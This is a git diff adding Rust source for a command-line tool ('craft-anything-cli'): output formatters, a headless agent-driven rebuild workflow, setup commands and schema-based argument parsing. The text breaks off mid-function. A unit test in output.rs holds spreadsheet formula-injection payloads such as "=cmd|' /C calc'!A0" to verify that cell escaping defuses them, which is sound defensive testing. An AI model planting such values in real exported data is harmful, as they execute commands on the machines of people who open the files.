+ return usage(&format!("unknown command {name:?}. Run `craft-anything-cli commands` to list tools, or --help for built-in commands.")); + }; + let schema = engine.registry().input_schema(&spec); + let tool_has_project = schema.pointer("/properties/project").is_some(); + if !tool_has_project && let Some(i) = rest_args.iter().position(|a| a == "--project") { + let Some(p) = rest_args.get(i + 1).cloned() else { return usage("--project needs a folder") }; + rest_args.drain(i..i + 2); + cli.project = Some(PathBuf::from(p)); + engine = match make_engine(cli.project.as_deref(), cli.deep_for_run()) { + Ok(e) => e, + Err(e) => return fail(&e, f), + }; + } + let cli = &cli; + let rest = rest_args.as_slice(); + let inv = match tool_args::parse(&spec, &schema, rest) { + Ok(i) => i, + Err(m) => return usage(&m), + }; + if let Some(v) = &inv.output_format { + match ::from_str(v, true) { + Ok(v) => f = v, + Err(_) => return usage("--output-format needs one of json, jsonl, md, text"), + } + } + if inv.help { + out(&tool_args::help(&spec, &schema)); + return 0; + } + let cancel = interrupt_token(); + let result = match (&inv.open_path, spec.requires) { + (Some(path), _) => with_target(&engine, cli, &cancel, path, &inv.open_params, || engine.call(spec.id, inv.params.clone(), call_options(cli, &cancel))), + (None, Requires::Target) => { + return usage(&format!("{} needs a target: craft-anything-cli {} …", spec.cli_name(), spec.cli_name())); + } + (None, _) => engine.call(spec.id, inv.params.clone(), call_options(cli, &cancel)), + }; + match result { + Ok(out) => { + emit(&out.to_json(), f); + 0 + } + Err(e) => fail(&e, f), + } +} diff --git a/desktop/apps/craft-anything-cli/src/output.rs b/desktop/apps/craft-anything-cli/src/output.rs new file mode 100644 index 0000000..3974725 --- /dev/null +++ b/desktop/apps/craft-anything-cli/src/output.rs @@ -0,0 +1,236 @@ +//! Output formats: json (pretty on a TTY), jsonl, md, text, csv and tsv (a result's rows, for a spreadsheet). + +use clap::ValueEnum; +use serde_json::{Map, Value}; +use std::io::IsTerminal as _; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, ValueEnum, Default)] +pub enum Format { + #[default] + Json, + Jsonl, + Md, + Text, + Csv, + Tsv, +} + +pub fn render(v: &Value, f: Format) -> String { + match f { + Format::Json => { + if std::io::stdout().is_terminal() { + serde_json::to_string_pretty(v).unwrap_or_default() + } else { + serde_json::to_string(v).unwrap_or_default() + } + } + Format::Jsonl => match v { + Value::Array(items) => items.iter().map(|i| serde_json::to_string(i).unwrap_or_default()).collect::>().join("\n"), + _ => serde_json::to_string(v).unwrap_or_default(), + }, + Format::Md => markdown(v), + Format::Text => text(v, 0), + Format::Csv => table(v, ','), + Format::Tsv => table(v, '\t'), + } +} + +/// The rows a table shows: an array of objects itself, or the largest one in a result (evidence's +/// `result`, where a tool's list sits); otherwise the object's own fields as one row. +fn rows(v: &Value) -> Vec> { + // A tool's plain value comes wrapped as `{"result": …}`, like evidence's result. + let wrapped = v.as_object().is_some_and(|m| m.len() == 1 && m.contains_key("result")); + let body = if is_evidence(v) || wrapped { &v["result"] } else { v }; + let objects = |a: &[Value]| a.iter().filter_map(|i| i.as_object().cloned()).collect::>(); + let found = match body { + Value::Array(a) => objects(a), + Value::Object(m) => m.values().filter_map(Value::as_array).map(|a| objects(a)).max_by_key(Vec::len).unwrap_or_default(), + _ => Vec::new(), + }; + if !found.is_empty() { + return found; + } + match body { + Value::Object(m) => vec![m.clone()], + _ => Vec::new(), + } +} + +fn table(v: &Value, sep: char) -> String { + if let Some(e) = v.get("error") { + return text(&serde_json::json!({"error": e}), 0); + } + let rows = rows(v); + let mut columns: Vec<&String> = Vec::new(); + for key in rows.iter().flat_map(|r| r.keys()) { + if !columns.contains(&key) { + columns.push(key); + } + } + let line = |cells: Vec| cells.join(&sep.to_string()); + let mut out = vec![line(columns.iter().map(|c| cell(&Value::String((*c).clone()), sep)).collect())]; + for r in &rows { + out.push(line(columns.iter().map(|c| r.get(*c).map_or_else(String::new, |x| cell(x, sep))).collect())); + } + out.join("\n") +} + +/// One table cell. What's in a result comes from the file being studied, so text a spreadsheet +/// would run as a formula is kept as text. +fn cell(v: &Value, sep: char) -> String { + let raw = match v { + Value::Null => String::new(), + Value::String(s) => s.clone(), + other => other.to_string(), + }; + let safe = if matches!(v, Value::String(_)) && raw.starts_with(['=', '+', '-', '@', '\t', '\r']) { format!("'{raw}") } else { raw }; + if sep == '\t' { + return safe.replace(['\t', '\n', '\r'], " "); + } + if safe.contains([sep, '"', '\n', '\r']) { format!("\"{}\"", safe.replace('"', "\"\"")) } else { safe } +} + +fn is_evidence(v: &Value) -> bool { + v.get("id").and_then(Value::as_str).is_some_and(|i| i.starts_with("ev_")) && v.get("operation").is_some() +} + +fn markdown(v: &Value) -> String { + if let Some(e) = v.get("error") { + let mut s = format!("**Error ({})**: {}\n", e["code"].as_str().unwrap_or("error"), e["message"].as_str().unwrap_or_default()); + if let Some(r) = e.get("remediation").and_then(Value::as_str) { + s.push_str(&format!("\n**What to do:** {r}\n")); + } + return s; + } + if is_evidence(v) { + let mut s = format!("## {}\n\n", v["operation"].as_str().unwrap_or_default()); + if let Some(sum) = v.get("summary").and_then(Value::as_str).filter(|s| !s.is_empty()) { + s.push_str(&format!("{sum}\n\n")); + } + s.push_str(&format!("- Evidence: `{}`\n- Confidence: {}\n", v["id"].as_str().unwrap_or_default(), v["confidence"].as_str().unwrap_or_default())); + if let Some(ls) = v.get("limitations").and_then(Value::as_array).filter(|l| !l.is_empty()) { + s.push_str("- Limitations:\n"); + for l in ls { + s.push_str(&format!(" - {}\n", l["message"].as_str().unwrap_or_default())); + } + } + s.push_str(&format!("\n```json\n{}\n```\n", serde_json::to_string_pretty(&v["result"]).unwrap_or_default())); + return s; + } + format!("```json\n{}\n```\n", serde_json::to_string_pretty(v).unwrap_or_default()) +} + +fn text(v: &Value, depth: usize) -> String { + if depth == 0 { + if let Some(e) = v.get("error") { + let mut s = format!("error: {}", e["message"].as_str().unwrap_or_default()); + if let Some(r) = e.get("remediation").and_then(Value::as_str) { + s.push_str(&format!("\nfix: {r}")); + } + return s; + } + if is_evidence(v) { + let sum = v.get("summary").and_then(Value::as_str).unwrap_or_default(); + return format!("{sum}\n[{}; {}]\n{}", v["id"].as_str().unwrap_or_default(), v["confidence"].as_str().unwrap_or_default(), text(&v["result"], 1)); + } + } + let pad = " ".repeat(depth.saturating_sub(1)); + match v { + Value::Object(m) => m + .iter() + .map(|(k, val)| match val { + Value::Object(_) | Value::Array(_) => format!("{pad}{k}:\n{}", text(val, depth + 1)), + _ => format!("{pad}{k}: {}", scalar(val)), + }) + .collect::>() + .join("\n"), + Value::Array(a) => a + .iter() + .map(|val| match val { + Value::Object(_) | Value::Array(_) => format!("{pad}-\n{}", text(val, depth + 1)), + _ => format!("{pad}- {}", scalar(val)), + }) + .collect::>() + .join("\n"), + _ => format!("{pad}{}", scalar(v)), + } +} + +fn scalar(v: &Value) -> String { + match v { + Value::String(s) => s.clone(), + other => other.to_string(), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn formats() { + let v = json!({"a": 1, "b": {"c": [1, "x"]}}); + assert_eq!(render(&v, Format::Jsonl), r#"{"a":1,"b":{"c":[1,"x"]}}"#); + let t = render(&v, Format::Text); + assert!(t.contains("a: 1") && t.contains("- x"), "{t}"); + assert!(render(&v, Format::Md).starts_with("```json")); + let e = json!({"error": {"code": "bad_input", "message": "bad", "remediation": "fix it"}}); + assert!(render(&e, Format::Text).contains("fix: fix it")); + assert!(render(&e, Format::Md).contains("What to do")); + assert_eq!(render(&json!([1, 2]), Format::Jsonl), "1\n2"); + } + + fn evidence(result: Value) -> Value { + json!({"id": "ev_1", "operation": "op", "summary": "s", "confidence": "observed", "result": result}) + } + + #[test] + fn tables_show_the_largest_list_of_rows() { + let v = evidence(json!({"total": 2, "notes": [{"a": 1}], "entries": [{"path": "a,b", "size": 1}, {"path": "c\"d", "kind": "x"}]})); + assert_eq!(render(&v, Format::Csv), "path,size,kind\n\"a,b\",1,\n\"c\"\"d\",,x"); + assert_eq!(render(&v, Format::Tsv), "path\tsize\tkind\na,b\t1\t\nc\"d\t\tx"); + } + + #[test] + fn a_bare_array_and_a_plain_object_are_tables_too() { + assert_eq!(render(&json!([{"a": 1}, {"a": 2}]), Format::Csv), "a\n1\n2"); + assert_eq!(render(&json!({"a": 1, "b": "x"}), Format::Csv), "a,b\n1,x"); + assert_eq!(render(&json!([1, 2]), Format::Csv), ""); + } + + #[test] + fn a_plain_tools_wrapped_value_is_unwrapped() { + assert_eq!(render(&json!({"result": {"count": 0, "projects": [{"id": "a"}]}}), Format::Csv), "id\na"); + assert_eq!(render(&json!({"result": {"count": 0}}), Format::Csv), "count\n0"); + } + + #[test] + fn nested_values_stay_json_in_one_cell() { + assert_eq!(render(&json!([{"a": {"b": [1, 2]}}]), Format::Csv), "a\n\"{\"\"b\"\":[1,2]}\""); + } + + #[test] + fn text_from_a_hostile_file_cannot_become_a_spreadsheet_formula() { + for evil in ["=cmd|' /C calc'!A0", "+1+1", "-2", "@SUM(A1)", "\t=1"] { + let csv = render(&json!([{"name": evil}]), Format::Csv); + let cell = csv.lines().nth(1).unwrap().trim_start_matches('"'); + assert!(cell.starts_with('\''), "{csv}"); + let tsv = render(&json!([{"name": evil}]), Format::Tsv); + assert!(tsv.lines().nth(1).unwrap().starts_with('\''), "{tsv}"); + } + assert_eq!(render(&json!([{"n": -2}]), Format::Csv), "n\n-2", "real numbers stay numbers"); + } + + #[test] + fn line_breaks_and_tabs_cannot_add_rows_or_columns() { + assert_eq!(render(&json!([{"a": "x\ny"}]), Format::Csv), "a\n\"x\ny\""); + assert_eq!(render(&json!([{"a": "x\n\ty"}]), Format::Tsv), "a\nx y"); + } + + #[test] + fn errors_stay_readable_in_table_formats() { + let e = json!({"error": {"code": "x", "message": "boom"}}); + assert!(render(&e, Format::Csv).contains("boom")); + } +} diff --git a/desktop/apps/craft-anything-cli/src/rebuild_cmd.rs b/desktop/apps/craft-anything-cli/src/rebuild_cmd.rs new file mode 100644 index 0000000..8375176 --- /dev/null +++ b/desktop/apps/craft-anything-cli/src/rebuild_cmd.rs @@ -0,0 +1,260 @@ +//! `rebuild`: the whole study → build → check workflow, headless. Questions and approvals are +//! answered on the terminal, or automatically with `--unattended` (first choice; approvals are +//! refused, so nothing outside the project happens without a person). + +use crate::{Cli, INTERRUPTED, make_engine}; +use clap::Args; +use craft_anything_ai::rebuild::{self, RebuildRun, RunEvent, RunOptions}; +use craft_anything_ai::{AgentEvent, AiHub, BackendKind}; +use craft_anything_engine::inbox::{Answer, Request, RequestKind}; +use craft_anything_engine::workspace::Workspace; +use craft_anything_evidence::ToolError; +use std::io::{BufRead as _, Write as _}; +use std::path::PathBuf; +use std::sync::atomic::Ordering; +use std::time::Duration; + +#[derive(Debug, Args)] +pub struct RebuildArgs { + /// A web address, an absolute path to an app, game or file, or `-` for none. + pub target: String, + /// What to make, in your words. + pub request: String, + /// Where the new project folder goes (default: the projects folder from settings). + #[arg(long, conflicts_with = "project_folder")] + pub projects_dir: Option, + /// Start the new project in this folder itself (it's added to the project list). If it + /// already has files, --existing says what they are. + #[arg(long, conflicts_with = "continue_in")] + pub project_folder: Option, + /// With --project-folder that has files: `edit` (they're the app, edited in place) or + /// `start-from` (material to start from; the app is built in app/ beside them). + #[arg(long, requires = "project_folder", value_parser = ["edit", "start-from"])] + pub existing: Option, + /// Continue an existing project folder; the request becomes a follow-up message. + #[arg(long)] + pub continue_in: Option, + /// With --continue-in: carry on where the project's last run stopped (paused, or the app or + /// the computer stopped); the request is ignored. + #[arg(long, requires = "continue_in")] + pub resume: bool, + /// The coding agent to use (a backend name from `ai list`). + #[arg(long)] + pub backend: Option, + /// Refinement rounds after the first build. + #[arg(long, default_value_t = 2)] + pub rounds: u32, + /// Answer questions with the first choice and refuse approvals, without asking. + #[arg(long)] + pub unattended: bool, + /// What to build with: an engine (unity, unreal, godot, rust) or a stack's full name. + /// New projects only; otherwise it's chosen from the request and target. + #[arg(long)] + pub build_with: Option, + /// Let the builder generate pictures and 3D models for a new game (needs a fal.ai key; paid + /// within the project's asset budget). Change it later with `project-assets-allow`. + #[arg(long)] + pub generate_assets: bool, +} + +pub fn rebuild(cli: &Cli, a: &RebuildArgs) -> u8 { + match run(cli, a) { + Ok(true) => 0, + Ok(false) => 1, + Err(e) => { + eprintln!("rebuild: {}", e.message); + if let Some(r) = e.remediation { + eprintln!(" {r}"); + } + 1 + } + } +} + +/// Use the configured agent app, or add the first one found on this computer. +fn ensure_agent(hub: &AiHub) -> Result<(), ToolError> { + if hub.backends().iter().any(|b| b.kind == BackendKind::AgentCli && b.enabled) { + return Ok(()); + } + if let Some(d) = hub.detect().into_iter().find(|d| d.suggestion.kind == BackendKind::AgentCli) { + eprintln!("Using {} ({}).", d.suggestion.name, d.reason); + hub.add_backend(d.suggestion, None)?; + } + Ok(()) +} + +fn run(cli: &Cli, a: &RebuildArgs) -> Result { + let engine = make_engine(None, cli.deep_for_run())?; + let hub = AiHub::new(engine.clone()); + ensure_agent(&hub)?; + if a.build_with.is_some() && a.continue_in.is_some() { + return Err(ToolError::invalid("--build-with is for new projects; a project keeps the stack it was built with.") + .with_remediation("Leave out --build-with, or start a new project.")); + } + if a.generate_assets && a.continue_in.is_some() { + return Err(ToolError::invalid("--generate-assets is for new projects.").with_remediation("Use project-assets-allow for an existing project.")); + } + let (ws, message) = match &a.continue_in { + Some(dir) => (Workspace::open(&std::path::absolute(dir).map_err(|e| ToolError::io(dir.display(), e))?)?, (!a.resume).then(|| a.request.clone())), + None => { + use craft_anything_ai::rebuild::project::Place; + use craft_anything_engine::workspace::ExistingFiles; + let settings = engine.session().settings.clone(); + let existing = a.existing.as_deref().map(|e| if e == "edit" { ExistingFiles::Edit } else { ExistingFiles::StartFrom }); + let folder = a.project_folder.as_deref().map(std::path::absolute).transpose().map_err(|e| ToolError::io("--project-folder", e))?; + let place = match (&folder, &a.projects_dir) { + (Some(f), _) => Place::At(f, existing), + (None, Some(d)) => Place::In(d), + (None, None) => Place::Projects, + }; + let ws = rebuild::project::new_project(&settings, &a.target, &a.request, place, a.build_with.as_deref(), a.generate_assets, a.backend.as_deref())?; + if folder.is_some() { + engine.session().remember_project(&ws.root)?; + } + (ws, None) + } + }; + println!("Project: {}", ws.root.display()); + // A follow-up shows in the project's feed as the person typed it. + let shown = message.clone(); + let good_enough = engine.session().settings.build.good_enough; + let opts = RunOptions { + backend: a.backend.clone(), + message, + shown, + continuing: a.resume, + max_rounds: a.rounds, + good_enough, + beginner: !cli.json, + ..RunOptions::default() + }; + let mut run = RebuildRun::start(&hub, ws, opts)?; + let mut ok = false; + let mut line_open = false; + loop { + if INTERRUPTED.load(Ordering::SeqCst) { + run.stop(); + } + for e in run.poll() { + match e { + RunEvent::Step { step, text } => { + end_line(&mut line_open); + println!("[{}] {text}", step.label()); + } + RunEvent::Agent(AgentEvent::TextDelta { text }) => { + print!("{text}"); + line_open = !text.ends_with('\n'); + } + RunEvent::Agent(AgentEvent::ToolStarted { tool, input, .. }) => { + end_line(&mut line_open); + println!(" · {}", rebuild::activity::describe(&tool, &input, &[]).words()); + } + RunEvent::Agent(AgentEvent::Error { message, remediation, log }) => { + end_line(&mut line_open); + println!(" ! {message}"); + if let Some(r) = remediation { + println!("{r}"); + } + if let Some(l) = log { + println!(" log: {}", l.display()); + } + } + RunEvent::Agent(_) => {} + RunEvent::Note(text) => { + end_line(&mut line_open); + println!(" + {text}"); + } + RunEvent::Ask(r) => { + end_line(&mut line_open); + let answer = if a.unattended { auto_answer(&r) } else { prompt_answer(&r) }; + run.answer(&r.id, &answer)?; + } + RunEvent::Checked(c) => { + end_line(&mut line_open); + match c.similarity { + Some(s) => println!("[Check {}] {s:.0}% alike — {}", c.round, c.note), + None => println!("[Check {}] {}", c.round, c.note), + } + } + RunEvent::Preview(url) => println!("Preview: {url}"), + RunEvent::Finished { ok: o, message, paused } => { + end_line(&mut line_open); + println!( + "{}", + if o { + format!("Done. {message}") + } else if paused { + message + } else { + format!("Stopped: {message}") + } + ); + ok = o; + } + } + } + if !run.is_running() && run.poll().is_empty() { + break; + } + std::thread::sleep(Duration::from_millis(100)); + } + let _ = std::io::stdout().flush(); + Ok(ok) +} + +fn end_line(open: &mut bool) { + if *open { + println!(); + *open = false; + } +} + +fn auto_answer(r: &Request) -> Answer { + match r.kind { + RequestKind::Question => { + println!("? {} → {} (unattended)", r.title, r.choices.first().map(String::as_str).unwrap_or("no preference")); + Answer { + choice: r.choices.first().cloned(), + text: r.choices.is_empty().then(|| "No preference; use your best judgement.".to_string()), + ..Default::default() + } + } + RequestKind::Approval => { + println!("? {} → refused (unattended)", r.title); + Answer { allow: Some(false), text: Some("Unattended run: actions outside the project aren't allowed.".into()), ..Default::default() } + } + } +} + +fn read_line() -> String { + let mut s = String::new(); + let _ = std::io::stdin().lock().read_line(&mut s); + s.trim().to_string() +} + +fn prompt_answer(r: &Request) -> Answer { + println!("\n? {}", r.title); + if !r.detail.is_empty() { + println!(" {}", r.detail.lines().take(12).collect::>().join("\n ")); + } + match r.kind { + RequestKind::Question => { + for (i, c) in r.choices.iter().enumerate() { + println!(" {}) {c}", i + 1); + } + print!("Your answer (number or text): "); + let _ = std::io::stdout().flush(); + let line = read_line(); + match line.parse::().ok().and_then(|n| n.checked_sub(1)).and_then(|i| r.choices.get(i)) { + Some(c) => Answer { choice: Some(c.clone()), ..Default::default() }, + None => Answer { text: Some(line), ..Default::default() }, + } + } + RequestKind::Approval => { + print!("Allow? [y]es / [a]lways for this project / [n]o: "); + let _ = std::io::stdout().flush(); + let line = read_line().to_lowercase(); + Answer { allow: Some(line.starts_with('y') || line.starts_with('a')), always: line.starts_with('a'), ..Default::default() } + } + } +} diff --git a/desktop/apps/craft-anything-cli/src/setup_cmd.rs b/desktop/apps/craft-anything-cli/src/setup_cmd.rs new file mode 100644 index 0000000..3d66130 --- /dev/null +++ b/desktop/apps/craft-anything-cli/src/setup_cmd.rs @@ -0,0 +1,185 @@ +//! `setup`, `doctor`, `uninstall`. + +use crate::output::Format; +use crate::{emit, fail, out}; +use clap::Args; +use craft_anything_setup::{ActionKind, CheckStatus, DoctorRequest, Host, PlanRequest}; +use serde_json::{Value, json}; +use std::io::IsTerminal as _; + +#[derive(Debug, Args)] +pub struct SetupArgs { + /// Show what would change without writing anything. + #[arg(long)] + pub dry_run: bool, + /// Client to configure (repeatable): claude_code, codex, cursor, … + #[arg(long = "client")] + pub clients: Vec, + /// Configure every detected client. + #[arg(long)] + pub all_detected: bool, + /// Apply without asking. + #[arg(long, short = 'y')] + pub yes: bool, + /// Don't install the skill. + #[arg(long)] + pub no_skill: bool, +} + +#[derive(Debug, Args)] +pub struct DoctorArgs { + /// Only check these clients (repeatable). + #[arg(long = "client")] + pub clients: Vec, +} + +#[derive(Debug, Args)] +pub struct UninstallArgs {} + +fn human(f: Format) -> bool { + matches!(f, Format::Text | Format::Md) +} + +fn confirm(question: &str) -> bool { + if !(std::io::stdin().is_terminal() && std::io::stderr().is_terminal()) { + return false; + } + eprint!("{question} [y/N] "); + let mut line = String::new(); + std::io::stdin().read_line(&mut line).is_ok() && matches!(line.trim(), "y" | "Y" | "yes") +} + +fn print_plan(plan: &craft_anything_setup::Plan) { + out(&format!("Register: {}", plan.command.join(" "))); + for a in &plan.actions { + let v = serde_json::to_value(a).unwrap_or(Value::Null); + out(&format!("[{}] {} — {}", v["action"].as_str().unwrap_or_default(), a.display, v["path"].as_str().unwrap_or_default())); + if let Some(r) = v["reason"].as_str() { + out(&format!(" {r}")); + } + if let Some(r) = v["remediation"].as_str() { + out(&format!(" → {r}")); + } + if matches!(a.action, ActionKind::Create | ActionKind::Update) { + for l in v["preview"].as_str().unwrap_or_default().lines() { + out(&format!(" {l}")); + } + } + } + for s in &plan.skills { + let v = serde_json::to_value(s).unwrap_or(Value::Null); + out(&format!("[skill] {}", v["dir"].as_str().unwrap_or_default())); + } + for n in &plan.notes { + out(&format!("note: {n}")); + } +} + +pub fn setup(a: &SetupArgs, f: Format) -> u8 { + let host = Host::current(); + let command = match craft_anything_setup::default_command() { + Ok(c) => c, + Err(e) => return fail(&e, f), + }; + let req = PlanRequest { clients: a.clients.clone(), all_detected: a.all_detected, command, include_skill: !a.no_skill }; + let plan = match craft_anything_setup::plan(&host, &req) { + Ok(p) => p, + Err(e) => return fail(&e, f), + }; + let status = if plan.blocked { + "blocked" + } else if a.dry_run { + "planned" + } else if plan.change_count() == 0 { + "unchanged" + } else { + "" + }; + if !status.is_empty() { + if human(f) { + print_plan(&plan); + out(&format!("status: {status}")); + } else { + emit(&json!({"status": status, "plan": plan}), f); + } + return if plan.blocked { 1 } else { 0 }; + } + let approved = a.yes || { + if human(f) { + print_plan(&plan); + } + confirm(&format!("Apply these {} changes?", plan.change_count())) + }; + if !approved { + if human(f) { + out("status: needs_confirmation (re-run with --yes to apply)"); + } else { + emit(&json!({"status": "needs_confirmation", "plan": plan}), f); + } + return 1; + } + let report = craft_anything_setup::apply(&plan); + if human(f) { + for r in &report.results { + let v = serde_json::to_value(r).unwrap_or(Value::Null); + out(&format!( + "[{}] {} {}", + v["outcome"].as_str().unwrap_or_default(), + v["client"].as_str().unwrap_or_default(), + v["error"].as_str().unwrap_or_default() + )); + } + out(&format!("status: {}", report.status)); + if !report.restart.is_empty() { + out(&format!("Restart {} to load REI Reverse Engineer.", report.restart.join(", "))); + } + } else { + emit(&serde_json::to_value(&report).unwrap_or(Value::Null), f); + } + if matches!(report.status, "configured" | "unchanged") { 0 } else { 1 } +} + +pub fn doctor(a: &DoctorArgs, f: Format) -> u8 { + let host = Host::current(); + let req = DoctorRequest { clients: a.clients.clone(), extra: crate::ai_cmd::doctor_checks(), ..DoctorRequest::default() }; + let report = craft_anything_setup::doctor(&host, &req); + if human(f) { + for c in &report.checks { + let st = match c.status { + CheckStatus::Ok => "ok", + CheckStatus::Warn => "warn", + CheckStatus::Fail => "FAIL", + CheckStatus::Info => "info", + }; + out(&format!("[{st}] {}: {}", c.name, c.message)); + if let Some(r) = &c.remediation { + out(&format!(" → {r}")); + } + } + out(if report.healthy { "healthy" } else { "problems found" }); + } else { + emit(&serde_json::to_value(&report).unwrap_or(Value::Null), f); + } + if report.healthy { 0 } else { 1 } +} + +pub fn uninstall(_a: &UninstallArgs, f: Format) -> u8 { + let report = craft_anything_setup::uninstall(&Host::current()); + let v = serde_json::to_value(&report).unwrap_or(Value::Null); + if human(f) { + for r in &report.removed_entries { + let e = serde_json::to_value(r).unwrap_or(Value::Null); + out(&format!("removed {} ({})", e["client"].as_str().unwrap_or_default(), e["path"].as_str().unwrap_or_default())); + } + for p in &report.removed_skill_files { + out(&format!("removed {}", p.display())); + } + for b in &report.blocking { + out(&format!("blocked by {} — fix or move that file first", b.display)); + } + out(&format!("status: {}", report.status)); + } else { + emit(&v, f); + } + if matches!(report.status, "removed" | "nothing_to_remove") { 0 } else { 1 } +} diff --git a/desktop/apps/craft-anything-cli/src/tool_args.rs b/desktop/apps/craft-anything-cli/src/tool_args.rs new file mode 100644 index 0000000..20cf730 --- /dev/null +++ b/desktop/apps/craft-anything-cli/src/tool_args.rs @@ -0,0 +1,408 @@ +//! Turn `craft-anything-cli [path] [--json '{..}' | @file.json] [--key value…]` into tool params, +//! using the tool's JSON schema to type each flag. + +use craft_anything_engine::{Requires, ToolSpec}; +use serde_json::{Map, Value, json}; + +/// A parsed tool invocation. +#[derive(Debug, Default, PartialEq)] +pub struct ToolInvocation { + pub params: Value, + /// Path to open first (for tools that need an open target). + pub open_path: Option, + /// Extra `core_target_open` params for that path (`format`, `architecture`, `entry_point`, `language_id`). + pub open_params: Map, + /// The output format asked for after the tool name (`--output-format`, or `--format` when the + /// tool has no `format` option of its own). + pub output_format: Option, + pub help: bool, +} + +/// `core_target_open` options a target tool accepts for its `` (raw binaries, Deep pins). +const OPEN_OPTIONS: [&str; 3] = ["architecture", "entry_point", "language_id"]; +/// `--format` values that pick how the target is opened rather than how output is printed. +const OPEN_FORMATS: [&str; 2] = ["raw-binary", "dos-com"]; + +fn schema_props(schema: &Value) -> Map { + schema.get("properties").and_then(Value::as_object).cloned().unwrap_or_default() +} + +fn required(schema: &Value) -> Vec { + schema.get("required").and_then(Value::as_array).map(|a| a.iter().filter_map(|v| v.as_str().map(str::to_string)).collect()).unwrap_or_default() +} + +/// The JSON type of a property ("string", "integer", "number", "boolean", "array", "object"), skipping "null". +fn prop_type(schema: &Value, prop: &Value) -> String { + let resolved = resolve_ref(schema, prop); + match resolved.get("type") { + Some(Value::String(s)) => s.clone(), + Some(Value::Array(a)) => a.iter().filter_map(Value::as_str).find(|t| *t != "null").unwrap_or("string").to_string(), + _ => { + // anyOf/oneOf of [X, null] + for key in ["anyOf", "oneOf"] { + if let Some(arr) = resolved.get(key).and_then(Value::as_array) { + for alt in arr { + let t = prop_type(schema, alt); + if t != "null" { + return t; + } + } + } + } + if resolved.get("enum").is_some() { "string".into() } else { "any".into() } + } + } +} + +fn resolve_ref<'a>(schema: &'a Value, prop: &'a Value) -> &'a Value { + if let Some(r) = prop.get("$ref").and_then(Value::as_str) { + let name = r.rsplit('/').next().unwrap_or_default(); + for defs in ["$defs", "definitions"] { + if let Some(d) = schema.get(defs).and_then(|d| d.get(name)) { + return d; + } + } + } + prop +} + +fn convert(ty: &str, key: &str, raw: &str) -> Result { + match ty { + "integer" => { + let t = raw.trim(); + if let Some(h) = t.strip_prefix("0x").or_else(|| t.strip_prefix("0X")) { + u64::from_str_radix(h, 16).map(|n| json!(n)).map_err(|_| format!("--{key} expects a number, got {raw:?}")) + } else { + t.parse::().map(|n| json!(n)).map_err(|_| format!("--{key} expects a whole number, got {raw:?}")) + } + } + "number" => raw.trim().parse::().map(|n| json!(n)).map_err(|_| format!("--{key} expects a number, got {raw:?}")), + "boolean" => match raw.trim() { + "true" | "yes" | "1" => Ok(json!(true)), + "false" | "no" | "0" => Ok(json!(false)), + _ => Err(format!("--{key} expects true or false, got {raw:?}")), + }, + "object" => serde_json::from_str::(raw).map_err(|e| format!("--{key} expects JSON: {e}")), + "array" => Ok(serde_json::from_str::(raw).ok().filter(Value::is_array).unwrap_or_else(|| json!([raw]))), + "string" => Ok(json!(raw)), + _ => Ok(serde_json::from_str::(raw).unwrap_or_else(|_| json!(raw))), + } +} + +/// Read inline JSON or `@file.json`. +pub fn read_json_arg(raw: &str) -> Result { + let text = if raw == "-" { + read_stdin_json(std::io::stdin())? + } else { + match raw.strip_prefix('@') { + Some(path) => std::fs::read_to_string(path).map_err(|e| format!("can't read {path}: {e}"))?, + None => raw.to_string(), + } + }; + serde_json::from_str(&text).map_err(|e| format!("params must be a JSON object: {e}")) +} + +/// Most bytes of parameters taken from standard input. +const MAX_STDIN_JSON: u64 = 64 << 20; + +/// Parameters piped in (`--json -`). Never waits at a terminal: nobody is going to type JSON there. +fn read_stdin_json(input: R) -> Result { + if input.is_terminal() { + return Err("--json - reads parameters from a pipe, but standard input is a terminal; pipe the JSON in, or pass it inline or as @file.json".into()); + } + read_bounded_json(input) +} + +fn read_bounded_json(input: R) -> Result { + use std::io::Read as _; + let mut text = String::new(); + let read = input.take(MAX_STDIN_JSON + 1).read_to_string(&mut text).map_err(|e| format!("can't read parameters from standard input: {e}"))?; + if read as u64 > MAX_STDIN_JSON { + return Err(format!("parameters on standard input are over the limit of {MAX_STDIN_JSON} bytes; use @file.json")); + } + Ok(text) +} + +pub fn parse(spec: &ToolSpec, schema: &Value, args: &[String]) -> Result { + let props = schema_props(schema); + let mut params = Map::new(); + let mut positionals = Vec::new(); + let mut inv = ToolInvocation::default(); + let mut i = 0usize; + while let Some(a) = args.get(i) { + i += 1; + if a == "--help" || a == "-h" { + inv.help = true; + continue; + } + if a == "--json" || a == "--params" { + let raw = args.get(i).ok_or("--json needs a value")?; + i += 1; + merge(&mut params, read_json_arg(raw)?)?; + continue; + } + if let Some(rest) = a.strip_prefix("--") { + let (key, inline) = match rest.split_once('=') { + Some((k, v)) => (k.to_string(), Some(v.to_string())), + None => (rest.to_string(), None), + }; + let snake = key.replace('-', "_"); + let is_target = spec.requires == Requires::Target; + // Output format and target-open options, unless the tool has an option of the same name. + if !props.contains_key(&snake) && (snake == "output_format" || snake == "format" || (is_target && OPEN_OPTIONS.contains(&snake.as_str()))) { + let raw = match inline { + Some(v) => v, + None => { + let v = args.get(i).ok_or_else(|| format!("--{key} needs a value"))?.clone(); + i += 1; + v + } + }; + if snake == "output_format" || (snake == "format" && !(is_target && OPEN_FORMATS.contains(&raw.as_str()))) { + inv.output_format = Some(raw); + } else { + inv.open_params.insert(snake, json!(raw)); + } + continue; + } + let prop = props.get(&snake).ok_or_else(|| { + let known: Vec = props.keys().map(|k| format!("--{}", k.replace('_', "-"))).collect(); + format!("{} has no option --{key}. Options: {}", spec.cli_name(), if known.is_empty() { "(none)".into() } else { known.join(", ") }) + })?; + let ty = prop_type(schema, prop); + let raw = match inline { + Some(v) => v, + None if ty == "boolean" && args.get(i).is_none_or(|n| n.starts_with("--")) => "true".to_string(), + None => { + let v = args.get(i).ok_or_else(|| format!("--{key} needs a value"))?.clone(); + i += 1; + v + } + }; + let value = convert(&ty, &key, &raw)?; + if ty == "array" + && let Some(Value::Array(existing)) = params.get_mut(&snake) + && let Value::Array(more) = value + { + existing.extend(more); + continue; + } + params.insert(snake, value); + continue; + } + if let Some(path) = a.strip_prefix('@') + && path.ends_with(".json") + { + merge(&mut params, read_json_arg(a)?)?; + continue; + } + positionals.push(a.clone()); + } + // An architecture or entry point only means something for a raw binary. + if (inv.open_params.contains_key("architecture") || inv.open_params.contains_key("entry_point")) && !inv.open_params.contains_key("format") { + inv.open_params.insert("format".into(), json!("raw-binary")); + } + let mut positionals = positionals.into_iter(); + if spec.requires == Requires::Target + && let Some(p) 